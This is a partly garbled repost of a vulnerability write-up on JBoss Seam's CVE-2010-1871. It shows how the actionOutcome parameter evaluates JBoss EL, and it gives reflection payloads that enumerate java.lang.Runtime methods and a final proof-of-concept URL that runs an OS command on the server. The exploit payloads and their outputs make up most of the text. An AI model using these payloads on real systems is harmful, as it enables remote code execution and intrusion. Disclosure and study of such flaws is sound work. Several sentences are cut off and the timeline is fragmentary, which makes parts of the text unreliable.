天天看点

JBoss Seam Framework remote code execution

another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing

it.

JBoss EL

Method calling:  #{hotelBooking.bookHotel(hotel)}

Property retrieval: #{person.name}

Projection (iteration): #{company.departments.{d|d.name}}

Variables referenced (e.g. hotelBooking, person, company)

reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's

follows (expressions is one of the base objects available by default, but any other object will do, e.g. request):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass null, you'll have to provide an instance of

you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))

CVE-2010-1871: actionOutcome is remote code execution

Seam's implementation of JSF NavigationHandler and looking at its handleNavigation() you can see that if action outcome starts with / (checked by isOutcomeViewId() method)

Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply

actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at

/pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to

/pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular

class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the

1) public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

2)

public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}

=>

/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}

/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around

24 methods in total).

Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R

untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}

upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:

/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful

<a href="http://download.oracle.com/docs/cd/E17476_01/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String)">java.lang.Runtime.exec()</a>

call.

Timeline

July 19 - initial report.

{ characters in

actionOutcome.

do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.